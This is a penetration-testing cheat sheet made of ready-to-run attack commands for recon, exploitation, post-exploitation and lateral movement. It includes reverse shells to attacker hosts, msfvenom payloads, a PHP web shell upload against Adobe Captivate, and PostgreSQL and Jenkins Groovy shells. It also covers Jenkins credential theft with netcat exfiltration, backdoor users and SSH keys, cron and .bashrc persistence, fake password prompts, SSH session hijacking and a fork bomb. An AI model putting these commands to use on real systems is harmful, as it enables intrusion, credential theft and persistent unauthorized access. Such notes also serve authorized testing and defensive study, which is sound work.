Recon

Nmap

Host discovery via Ping Sweeping

nmap -sn -oA onlineHosts <ip range>/<subnet mask>

-sn: Use ping scan for host discovery (don't run a port scan)
-oA: Store output in normal, XML, and grepable file formats

Host discovery while skipping ping checks

Use this when targets don't respond to ping:

nmap -Pn <target ip>

-Pn: Skips the host discovery phase, and scans all addresses as if the system(s) were alive and responding to pings. -- use when scanning an internet facing system

Resource: https://medium.com/@hakluke/haklukes-guide-to-nmap-port-scanning-is-just-the-beginning-25d971692fdb

Typical methodology

After discovering what hosts are responding, you'll want to know what ports they're exposing:

nmap -sS -p- <target ip>

-sS: SYN scan. Default choice, faster than TCP connect. Does not complete the three way handshake, making it more stealthy. However, IPS/IDS and firewalls will detect and report a SYN scan.

-p-: Scan all 65535 ports - shorthand for -p 1-65535

You can follow this with version and OS enumeration:

sudo nmap <target ip> -sV --version-intensity 9 -O

-sV: Service version detection
--version-intensity: Used in conjunction with -sV to help identify running services. The number ranges between 0-9. The higher the number, the more likely a service is to be properly identified. However, higher numbers also make scan times longer. Default number is 7.

Encompass all of the basic port scan behavior

Just use -A:

sudo nmap -A -p- -v <target ip>

-A: Enables OS detection, service version detection, script scanning, and traceroute
-v: Increase verbosity of output

TCP Connect Scan

Full three way handshake, not as fast as SYN scan and noisier. Considered most stable, and has least chance to crash the target.

nmap -sT -p- -Pn <ip address>

-sT: Run a TCP connect scan

Detailed scan

nmap -T4 -A -v -oA detailedScanResults <ip range>/subnet<mask>

-T4: Aggressive
-oA: Store output in normal, XML, and grepable file formats

Single host TCP scan:

nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p- -oX <output filename>.xml <target>

Parse all ports out of xml output

Output will be returned as a comma separated list

cat <file>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -

Detailed single host TCP scan:

Run this after running the above single host TCP scan.

nmap -nvv -Pn -sSV -T1 -p$(cat <file from single host tcp scan>.xml | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA <output filename DETAILED> <target>

-n: No DNS resolution on the IP addresses
-sSV: SYN scan and service version detection (-s is used to specify a scan type and the uppercase letters that follow are the parameters)

Single host UDP scan:

nmap -Pn --top-ports 1000 -sU --stats-every 3m --max-retries 1 -T3 -oA <output filename> <target>

-sU: Discover services using UDP. Very slow, can take 20-30 minutes for 1000 ports.

Resources:
https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/
https://unix.stackexchange.com/questions/87935/nmap-sn-scan-or-no-scan
https://blog.zsec.uk/nmap-rtfm/

Eyewitness

Single target as command line arg

Run from docker container, output results to ~/EyeWitness/results:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/EyeWitness:/tmp/EyeWitness eyewitness --single http://www.google.com --headless

Read targets out of a file

Put your targets in ~/EyeWitness/urls.txt
Run the following command:

docker run --rm -it -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix -v ~/eyewitness:/tmp/EyeWitness eyewitness -f /tmp/EyeWitness/urls.txt --headless

The Results will be in ~/EyeWitness/results.

Responder

Responder can be a great tool to collect password hashes, and give you a starting point for gaining access to a system on the network.

Here's one such scenario:
https://markitzeroday.com/pass-the-hash/crack-map-exec/2018/03/04/da-from-outside-the-domain.html

Exploitation

Handle multiple reverse nc shells

go get github.com/WangYihang/Platypus
cd go/src/github.com/WangYihang/Platypus
go run platypus.go

To configure the listener to listen on port 8080:

run 0.0.0.0 8080

To list sessions:

list

This will give you a list of current sessions. Each has a unique hash that you need to copy if you want to interact with a given session.

To interact with a session:

jump <hash of session>
interact

To exit a session back to playpus:

exit

Repo of project: https://github.com/WangYihang/Platypus

Reverse shell payload

bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1

Reverse shell in Scala:

import sys.process._
"nc -e /bin/sh evil.com 8080" !!;

Once you have the shell, run the following for a full fledged shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Some other nice ways to "upgrade" your netcat shell:
https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2

Very helpful resource for testing: https://www.tutorialspoint.com/compile_scala_online.php

Mount NFS share

Create folder to use for share:

mkdir -p nfs/some_great_share_name

Install packages needed for debian:

apt install -y nfs-common cifs-utils

Start services required:

service rpcbind start

Mount the share:

mount -t nfs <target system with mount ip or hostname>:/some_great_share_name -o rw,nfsvers=2 nfs/some_great_share_name

Unmount the share when done:

umount nfs/some_great_share_name

Interesting things to try:

See if you can edit .profile or .bashrc or .bash_profile, etc. in a users home directory.
See if there is an authorized_keys file in any of the users home directories. If so, you might be able to get a backdoor:

find . -name "authorized_keys" 2>/dev/null

Post Exploitation

Linux

Drop backdoor ssh key

Create an ssh key on the attackers system by following the instructions on this page under Create SSH Key.
Add the contents of the public key to the victims ~/.ssh/authorized_keys file (or create one if it doesn't already exist)
If you created an authorized_keys file previously, make sure to run chmod 0600 ~/.ssh/authorized_keys
You can then use the private key to access the target system: ssh -i /path/to/private/key user@target.com

Resource: https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Bonus points if you're able to do this with a nfs mounted home directory (you'll get a lot more bang for your buck)

Monitor processes

wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy32s
chmod +x pspy32s && ./pspy32s

Resource:
https://delta.navisec.io/privilege-escalation/

Take screenshot

# Requires imagemagick
# sudo apt install -y imagemagick
DISPLAY=:0 import -silent -window root /var/tmp/.tmp

Ask for creds

DISPLAY=:0 gksudo -p -m "Enter your password to apply changes."

Resource:
https://youtu.be/kQ5jDzyd_C8

Access a user's env

This is incredibly useful when you find that users are storing credentials in their environment variables.
sudo su - <username>
env

Search for config files which may have cleartext passwords in them:

# This command works on linux and OSX
du -a $directory | awk '{print $2}' | grep '\.conf$'

Netcat reverse shell without -e

Create listener:
nc -lvp [port]

On the victim:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc [attacker] [port] 1>/tmp/backpipe

Resource: https://pen-testing.sans.org/blog/2013/05/06/netcat-without-e-no-problem/

Transfer file via netcat

On host to receive file:

nc -lvp [some port] > .evil.file

On host to send file

nc -w 3 [host receiving file] [some port] < evil.file

If the file is a reverse shell be sure to make it an executable on the system:

chmod +x .evil.file

Resource: https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/

Add user with no password to sudoers

user ALL=(ALL:ALL) NOPASSWD:ALL

Resource: https://phpraxis.wordpress.com/2016/09/27/enable-sudo-without-password-in-ubuntudebian/

Introduce backdoor user

# Create evil user
useradd evil -s /bin/bash -m
# Change evil user's password
echo -e "evilpass\nevilpass" | passwd evil
# Add evil user to sudoers
echo 'evil ALL=(ALL:ALL) ALL' >> /etc/sudoers
# Give evil user ssh access
echo -e "PasswordAuthentication yes\nAllowUsers evil" >> /etc/ssh/sshd_config

To delete the backdoored user:

# Delete evil user
userdel evil
# Delete evil user from sudoers
sed -i '/evil ALL=(ALL:ALL) ALL/d' /etc/sudoers
# Delete evil user from ssh access
sed -i '/^PasswordAuthentication yes/d' /etc/ssh/sshd_config && sed -i '/^AllowUsers evil/d' /etc/ssh/sshd_config

Unix-privesc-check

Find misconfigurations, files with open permissions, etc.
Video Reference

Download it:

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/upc.sh -O /tmp/upc.sh

-or-

Download and run privesc-check.sh, save output to a file, and clean up (standard):

wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check standard | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4

-or-

Download and run privesc-check.sh, save output to a file, and clean up (detailed):

wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check-1.4.tar.gz && cd /tmp && tar -xvf unix-privesc-check-1.4.tar.gz && bash /tmp/unix-privesc-check-1.4/unix-privesc-check detailed | tee /tmp/output2.txt && rm /tmp/unix-privesc-check-1.4.tar.gz && rm -rf /tmp/unix-privesc-check-1.4

LinEnum

Another good one to find misconfigurations, files with open permissions, etc.

Download it:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh

-or-

Download and run linenum, save output to a file:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/linenum.sh && bash /tmp/linenum.sh | tee /tmp/output.txt

Linux Exploit Suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh --no-check-certificate -O /tmp/les.sh && bash /tmp/les.sh | tee /tmp/les.txt &

LinPEAS

Grab it:

curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | sh

Run it and send the output to a file:

linpeas -a > /dev/shm/linpeas.txt

Linuxprivchecker

Download and run linuxprivchecker.py, save output to a file:

wget https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py --no-check-certificate -O /tmp/lpc.py && python /tmp/lpc.py | tee /tmp/output1.txt

If there are services running as privileged user, try to find existing exploits.

Good linux post exploitation resources

This is a fantastic cheatsheet with a number of privesc resources:
https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html
https://www.youtube.com/watch?v=oYHAi0cgur4
https://payatu.com/guide-linux-privilege-escalation/
https://www.rebootuser.com/?p=1623

Who has logged in previously?

who, w, last -F

Are you in the sudoers file?

sudo -l, cat /etc/sudoers

Get network information, like open ports and their associated processes:

netstat -antup
lsof -i

Find programs with root privs:

find / -perm -04000 > programsWithRootAccess.txt

Screenshot the targets screen when you're ssh'ed into a system:

DISPLAY=:0 import -window root screenshot.jpg

Resource: https://github.com/jmatt-io/ANL-CDC/blob/master/ubuntu_ftp_secure.sh

SUID Executables

Look for SUID files:

find / -perm -u=s -type f 2>/dev/null

https://pentestlab.blog/2017/09/25/suid-executables/
https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

Windows

Ask for creds

$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your username and password.", "$env:username","NetBiosUserName")
$credential.Password | ConvertFrom-SecureString
$env:username
$credential.GetNetworkCredential().password

Resource:
https://youtu.be/kQ5jDzyd_C8

Cheatsheets

https://github.com/emilyanncr/Windows-Post-Exploitation
Meterpreter specific:
https://www.coengoedegebure.com/hacking-windows-with-meterpreter/

Cracking hashes

Identify what type of hash it is with Hash ID. Once you've done this, crack it with hashcat, john, etc.

For cracking hashes in /etc/shadow

https://www.cyberciti.biz/faq/understanding-etcshadow-file/

Resource: https://www.youtube.com/watch?v=CuBX3sBeGSw

Hashcat cheatsheet

https://www.dropbox.com/s/kdklrowv683yq1a/HashcatCheatSheet.v2018.1b (2).pdf?dl=0

Using john with an SSH key that has a pw

Use ssh2john.py to take the private key and use it to create a format that john can use:

# Assuming we are in the current directory for John
./run/ssh2john.py privateKey > john_ssh_fmt.txt
./run/john john_ssh_fmt.txt --wordlist=wordlist_to_use_for_pw.txt

Resource: https://youtu.be/58-145bvu_8?t=445

Lateral Movement

Hijacking SSH with Master Mode

Copy this into ~/.ssh/config for a given compromised user:

Host *
ControlMaster auto
ControlPath ~/.ssh/sockets/ssh-%r@%h:%p
ControlPersist yes

Also run this command:

mkdir ~/.ssh/sockets

Now you simply need to wait for the compromised user to ssh to another host. Once this happens, you should be able to ssh to that system without a password as that user.

Resources

https://www.defcon.org/images/defcon-15/dc15-presentations/Moore_and_Valsmith/Whitepaper/dc-15-moore_and_valsmith-WP.pdf

Docker

Exposed Docker Daemon via TCP

If you find port 2375 open on a system, that means that someone probably ran a command like this one:

docker run -it --name=please_do_not_do_this -H tcp://0.0.0.0:2375 ubuntu

Which means that you can try to run arbitrary docker commands:

docker -H tcp://<ip of target>:2375 <docker command>

For example, to list the containers on that system:

docker -H tcp://<ip of target>:2375 ps -a

To connect to an existing container:

docker -H tcp://<ip of target>:2375 exec -it <target container> /bin/bash

To create and run a container with the host's root volume mounted:

docker -H tcp://<ip of target>:2375 run --rm -it -v /:/host ubuntu:latest chroot /host /bin/bash

To avoid having to load up a new image (assuming ubuntu:latest isn't already installed), use docker -H tcp://<ip of target>:2375 image ls to find an existing image to use.

Docker Daemon exposed to other containers

Even if the docker daemon is only exposed to other other containers, you can still take advantage of it if you compromise a container.

This vulnerability is introduced by running a command like this one:

docker run -it --name=really_freaking_vulnerable_ubuntu -v /var/run/docker.sock:/var/run/docker.sock ubuntu

To test it:

# Check if you have write access:
ls -lart /var/run/docker.sock
srw-rw---- 1 root root 0 May  6 05:25 /var/run/docker.sock

Install docker:

# Ubuntu or Debian
apt update && apt install -y wget && wget -qO- https://get.docker.com | sh

Once that's installed, find an image to use with docker images, or use something simple like ubuntu:latest:
docker run -it -v /:/host <docker image to use> chroot /host /bin/bash

Alternatively, you can use the docker socket to avoid installing docker:

# Get images
curl --unix-socket /var/run/docker.sock http://docker/images/json
# Get containers
curl --unix-socket /var/run/docker.sock http://docker/containers/json

Proof of concept for exploitation: https://gitlab.com/Creased/docker-shadow/tree/master

However, this will still need to be done as the root user.

Resources

https://gitlab.com/Creased/vulnhub-docker-writeup
https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html
https://www.youtube.com/watch?v=GeEW-e4LaT4&list=PLbZzXF2qC3RuL2K7KQVHe0aqdXbZC9Lnz&index=4
https://forums.docker.com/t/api-via-socket-returns-page-not-found/24682/5
https://stackoverflow.com/questions/26561963/how-to-detect-a-docker-daemon-port

Find secrets in images

Run this to get output from the original Dockerfile:

docker history --no-trunc <image name>

You can check the output for secrets that were in it.

Resource: https://stackoverflow.com/questions/48716536/how-to-show-a-dockerfile-of-image-docker

Miscellaneous

Test out of bound code execution with tcpdump

Use this:
tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -vv
in conjuction with a ping command.

Enable ssh on Kali

In /etc/ssh/sshd_config change PermitRootLogin without-password to PermitRootLogin yes
Resource: https://www.drchaos.com/enable-ssh-on-kali-linux-enable-ssh-on-kali-linux/

Command line vnc viewer on kali

vncviewer [target]::[vnc port]

Crash system as normal user with fork bomb

forkbomb(){ forkbomb | forkbomb & }; forkbomb

Resource: https://linuxconfig.org/how-to-crash-your-linux-system-with-fork-bomb

Getting a shell on a PostgreSQL DB running on Linux if you have the proper access and permissions

Start by setting up a listener:

nc -lvp 8080

Connect to the postgresql DB:

psql -h <ip with db> -U <db username>

Review the access your user has with the \du command. Alternatively, you can go in blind and run a quick test (or run a test after you've established you have the proper access and permissions to do so):

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'pwd'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

This should give you the working directory the database is running on if all went well.

Next, get your reverse shell loaded up:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'echo "bash -i >& /dev/tcp/<attack machines ip address>/8080 0>&1" >> /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

Execute it:

CREATE OR REPLACE FUNCTION exec() RETURNS text AS $BODY$ BEGIN DROP TABLE IF EXISTS bDGhLsYPcd; CREATE TEMP TABLE bDGhLsYPcd (INPUT TEXT); COPY bDGhLsYPcd FROM PROGRAM 'bash /tmp/unfriendly.sh'; RETURN NULL; END; $BODY$ LANGUAGE plpgsql; SELECT * FROM exec(); SELECT * FROM bDGhLsYPcd;

You should have your shell.

Getting around "su: must be run from a terminal"

python -c 'import pty;pty.spawn("/bin/bash")'

Getting a shell on a Jenkins box running on Linux or OS X with access to the groovy console

Start by setting up a listener:

nc -lvp 8080

Set up a webserver using nginx, XAMPP, etc. and host a payload that could look something like this:

bash -i >& /dev/tcp/<attackers ip>/8080 0>&1

Download your reverse shell payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "curl http://<attackers ip>/unfriendly.sh --output /tmp/shell".execute()
# You could also use wget
# def proc = "wget http://<attackers ip>/unfriendly.sh -O /tmp/shell".execute()
# Use --proxy=off with wget if your proxy is messing with your ability to get that code
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Make sure your payload is on the target system:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "ls /tmp".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

Run the payload:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = "bash /tmp/shell".execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out&gt; $sout err&gt; $serr"

You should have your shell.

If /script is not accessible, but /computer is

Go to one of the listed nodes
Select one of the projects
Click Script Console on the left

Jenkins on Windows

Shout out to Nick Georgieff for figuring this one out.

Quick test on the groovy console:
println '"'powershell -command "ls"'.execute().text

Once you've verified that is working, switch gears to get a meterpreter session going.

To setup the handler, start by creating an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file:
touch windows_rev_powershell_listener.rc

In windows_rev_powershell_listener.rc:

use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <host running metasploit>
set LPORT 445
set ExitOnSession false
exploit -j -z

Run the rc file:
msfconsole -r windows_rev_powershell_listener.rc

Connect to handler from the groovy console:

String host="<host running metasploit>";
int port=445;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

At this point, you should have a meterpreter session.

Stealing credentials from Jenkins

Locate the credentials file:

find / -name "credentials.xml" 2>/dev/null

Find a password in the file and copy it.

In the groovy console:

println(hudson.util.Secret.decrypt("<password>"))

Resource:
https://www.dropbox.com/s/5j1n4ltm630gcyn/DeadDropOct26_Slides.pdf?dl=0

Alternatively, you can also use https://github.com/cheetz/jenkins-decrypt after pulling down the master.key, hudson.util.Secret, and credentials.xml file.

Exfil the files via cli

On the victim, run:

nc -w3 [attacker IP] 5000 < credentials.xml

On the attacker:

nc -l -p 5000 > credentials.xml

Do this for the rest of the files (master.key, hudson.util.Secret)

Resource:
https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/

Stealing creds via Job Import plugin

If you see Job Import Plugin in the web UI, click it.
If you have the Job/Create permission, you should be able to specify a Remote Jenkins URL and a credential
Specify your system as the remote jenkins url, i.e. http://192.168.1.2:8080
Choose the credential you want to steal
Open a listener on the attacker's system: nc -lvp 8080
Decode output for credentials that comes from the Authorization header: cat <base64 output> | base64 --decode

Jenkins Post Exploitation

If you get a shell on a jenkins system, be sure to check if there is a /jobs folder in the jenkins directory. If so, be sure to go through the various subfolders and steal any config.xml files with a <passsword> field. You can use the same trick as above to decrypt the credentials, replacing the credentials.xml with config.xml.

Metasploit

Run exploit in the background:
exploit -j
Do not interact with a session after successful exploitation of a target:
exploit -z
You can combine them:
exploit -j -z
Persist listener if a meterpreter session dies:
set ExitOnSession false

MSFVenom

http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/
http://netsec.ws/?p=331

OSX

msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=4444 -f macho > notEvil.macho

RC Script:

use exploit/multi/handler
set PAYLOAD osx/x64/meterpreter_reverse_tcp
set LHOST <Your IP Address>
set LPORT 4444
set ExitOnSession false
exploit -j -z

Resource: https://github.com/Snifer/security-cheatsheets/blob/master/msfvenom

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

To persist the file once you've uploaded it to your target in ~/.bashrc:

echo "~/.evil.file &" >> ~/.bashrc

For good measure, throw up a cronjob for every 5 minutes as well:

# write out current crontab
crontab -l > mycron
# echo new cron into cron file
echo "*/5 * * * * ~/.evil.file" >> mycron
# install new cron file
crontab mycron
rm mycron

Resource: https://stackoverflow.com/questions/878600/how-to-create-a-cron-job-using-bash-automatically-without-the-interactive-editor

Create and run listener

Create linux_rev.rc file:

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST [listener ip]
set ExitOnSession false
exploit -j -z

Run it:

msfconsole -r linux_rev.rc

64-bit exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -f exe -o evil.exe

exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe -o friendly.exe

exe-service

Useful when you need a running service, like for unquoted service path vulnerabilities.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=445 -f exe-service -o friendly.exe

PHP Reverse shell payload

msfvenom -p php/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e php/base64 -f raw > evil_file.php && sed -i '1s/^/<?php\n/' evil_file.php && sed -i -e '$a\?>' evil_file.php

Non MSF PHP reverse shell

php -r '$sock=fsockopen("ATTACKER_IP",ATTACKER_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Resource: https://w00troot.blogspot.com/2017/05/getting-reverse-shell-from-web-shell.html

PHP bind payload

msfvenom -p php/meterpreter/bind_tcp LPORT=4444 > msf_bind_shell.php

After starting the listener, upload the php code to the target server. Be sure to replace the /*<?php /**/ with <?php at the top of the file, and replace the % at the end of the file with ?>.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

Evil encoded x64 aspx shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<local host ip> LPORT=4444 -e x64/xor -f aspx > shell64.aspx

Jar reverse shell

msfvenom -p java/meterpreter/reverse_tcp LHOST=<local host ip> -f raw -o /tmp/java.jar

Start listener:

msfconsole
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST <local host ip>
set ExitOnSession false
exploit -j -z

Resources

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://hackernoon.com/reverse-shell-cf154dfee6bd

Powershell payload

msfvenom -p cmd/windows/reverse_powershell LHOST=<local host ip> LPORT=445 -o friendly.bat

Start listener:

msfconsole
use exploit/multi/handler
set PAYLOAD cmd/windows/reverse_powershell
set LHOST <local host ip>
set LPORT 445
set ExitOnSession false
exploit -j -z

Copy the evil code:

# On the linux machine
cat friendly.bat

Start powershell on victim:

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

Paste the evil code into the powershell terminal, or create a .bat file and run it.

Bash Reverse shell

exec 5<>/dev/tcp/<evil ip>/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

Another similar option:

exec 5<>/dev/tcp/<evil ip>/4444;while read line 0<&5; do $line 2>&5 >&5; done

Basic:

bash -i >& /dev/tcp/<evil ip>/4444 0>&1

Netcat reverse shell

On evil server: nc -lvp <port>
On victim: nc <evil server> <port> -e sh &

Resource: docker start -ai

Create RC Listener

You can create an rc file so you don't need to type the commands into msfconsole every time to interact with your payload.

Create the file:

touch listener.rc

In listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT <port>
set ExitOnSession false
exploit -j -z

Run the rc file:

msfconsole -r listener.rc

Capture NTLM Hash with Metasploit

Start the smb capture server:

use auxiliary/server/capture/smb
run

Get victim to connect via smb.
If they need help via phish and they're on a mac, have them open Finder, Command+k, and then type in the following:

smb://<evil server ip>

Making Firefox horribly insecure for quick and dirty proof of concepts

Browse to about:config
Type in security.file
Double click
security.fileuri.strict_origin_policy

This will disable the same origin policy blocks.

Browse to about:config
Type in security.file
Double click
security.insecure_field_warning.contextual.enabled

This will disable the "this connection is not secure" messages.

Browse to about:config
Type in mixed
Double click security.mixed_content.block_active_content

This will disable the block active content lock.

Obviously you want to undo these changes once you've finished your POC's.

Find logs on a linux system

find . -type f -name "*.log"

Adobe Captivate Quiz Reporting Feature 'internalServerReporting.php' File Upload RCE Webshell

Using Burp, intercept a GET request to the target and throw it into repeater. Next, right click and Change request method to POST.

Here's what the request should look like:

POST /internalServerReporting.php HTTP/1.1
Host: <target running adobe captivate>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, sdch
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

CompanyName=.&DepartmentName=.&CourseName=.&Filename=test.php&Filedata=<?php

if(isset($_REQUEST['cmd'])){
	echo "<pre>";
	$cmd =($_REQUEST['cmd']);
	system($cmd);
	echo "</pre>";
	die;
}

?>

Once you've sent it and gotten a 200 back, you can access the web shell like so:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=<your command to run>

Don't forget to clean it up when you're done:

http://<target running adobe captivate>/CaptivateResults/test.php?cmd=del test.php

With Metasploit:
https://hydrasky.com/network-security/create-a-web-backdoor-payload-with-metasploit/
Create the payload:

msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > backdoor.php
In php_listener.rc:

use exploit/multi/handler
set payload <payload>
set LHOST <host running metasploit>
set LPORT 4444

Run the rc file:

msfconsole -r php_listener.rc

Upload the php code to the target server. I made sure to replace the /*<?php /**/ with <?php at the top of the file, and replaced the % at the end of the file with a ?> before doing so with Burp repeater.

Once the file is uploaded, open the file on the target server. Follow this with an exploit in metasploit.

You should have a shell at this point.

Maybe give this a shot https://dl.packetstormsecurity.net/papers/attack/root3.pdf

Windows

A couple of things to try below.

# whoami
echo %USERDOMAIN%\%USERNAME%
# create user && add to Administrators
net user <username> <password> /ADD
net localgroup Administrators <username> /ADD
# list local admins
net localgroup administrators
# Look for passwords in txt, xml && xls files
findstr /si password *.txt| *.xml| *.xls
# Show open ports
netstat -bano
# Get list of domain admins
net group "Domain Admins" /domain

Enumerate missing patches on a windows machine with msf

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

Check for weak service permissions with accesschk (part of sysinternals)

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwcu "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" * /accepteula
accesschk.exe -qwcu "Everyone" * /accepteula

Once one has been found, modify the binpath to point to the net user bin to create a rogue user:

sc config <vuln service> binpath= "net user <username> <password> /add"

Restart it:

sc start <vuln service>

Add that user to the administrators group:

sc config <vuln service> binpath= "net localgroup administrators <username> /add"

Restart it again:

sc start <vuln service>

Check for weak file permissions with accesschk (part of sysinternals)

Video reference

Information on how to download sysinternals using powershell can be found here.

accesschk.exe -qwsu "Authenticated Users" * /accepteula
accesschk.exe -qwsu "Users" * /accepteula
accesschk.exe -qwsu "Everyone" * /accepteula

Always install elevated privilege escalation

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Use metasploit if they set to exploit:

use exploit/windows/local/always_install_elevated
set LPORT 443
exploit

Use sessiongopher to find saved session info for RAT's

Grab it:

(New-Object System.Net.WebClient).DownloadFile("https://github.com/fireeye/SessionGopher/blob/master/SessionGopher.ps1","C:\Temp\SessionGopher.ps1")

Run it:

Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Thorough

Ghetto Windows WGET using cmd

bitsadmin /transfer myDownloadJob /download /priority normal http://<evil server>/evil.exe c:\temp\evil.exe

Upload stuff to a Windows machine via RDP

http://haacked.com/archive/2010/05/18/remote-desktop-file-copy.aspx/

Kali terminal:

rdesktop -r disk:ww=/path/to/folder/to/mount targetsystem.com

Empire

Launch the docker container:

# Create a volume to store empire data in
docker create -v /opt/Empire --name data empireproject/empire
# Run the empire container
docker run -ti --volumes-from data -p <host ip>:80:80 empireproject/empire

Resource: http://blog.obscuritylabs.com/docker-command-controll-c2/
Create a listener:

listeners
uselistener http

Resource: http://ethicalhackingblog.com/hacking-powershell-empire-2-0/

POC creation

Unquoted Service Paths

Coldfusion resources

https://nets.ec/Coldfusion_hacking
http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html
https://github.com/reider-roque/pentest-tools/blob/master/shells/webshell.cfm

Resources

https://netsec.ws/?p=331
https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/
https://www.gracefulsecurity.com/privesc-unquoted-service-path/
https://www.youtube.com/watch?v=PC_iMqiuIRQ
http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html
https://twitter.com/1njected/status/875701296325697536

OSX

Reverse shell

Setup Listener:
nc -lvp 8888

Connect from OSX:
bash -i >& /dev/tcp/*attacker ip*/8888 0&>1

Setting up cloud cracking machine with Kali

https://www.kali.org/news/cloud-cracking-with-cuda-gpu/

Fix kali apt update issue

